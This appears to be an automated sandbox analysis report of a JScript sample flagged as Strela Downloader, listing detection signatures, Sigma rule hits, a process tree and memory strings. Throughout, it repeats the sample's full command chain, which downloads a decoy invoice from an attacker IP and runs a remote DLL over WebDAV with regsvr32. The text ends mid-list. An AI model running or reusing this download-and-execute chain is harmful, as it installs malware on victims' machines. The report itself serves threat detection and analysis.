Edit tour

Windows Analysis Report
2449715899306403241.js

Overview

General Information

Sample name:	2449715899306403241.js
Analysis ID:	1588939
MD5:	d0e9ff14f237246c9e206d92b18b4636
SHA1:	ce94fa6f80e518fc5a62f927aef2051200b7336e
SHA256:	d0e7968e632a031dc09be158ef7dabe6dbaa83071c080aa11a68f3b49f294fc0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8188 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7428 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7540 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6688 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7404 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1752,i,17528422717243787748,968199973491756617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6244 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2112 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1028 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8188	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7540, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7540, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ProcessId: 8188, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7428, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7428, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7428, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7428, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7428, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ProcessId: 8188, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7540, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6244, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2112, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1028, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6244, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2112, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8188, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 7428, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2449715899306403241.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2449715899306403241.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2449715899306403241.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1298148645.0000028D98A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1299492837.0000028D98A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1375251345.000002BED5B0E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1375159593.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1359411732.000002BED5B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1375050807.000002BED5AC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1361233525.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1375159593.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1361233525.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.1375159593.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1361233525.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: svchost.exe, 00000009.00000002.2601636066.000002705440F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1364348992.00000270542B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8188, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2449715899306403241.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4216

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxr5xs0h.4ac.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

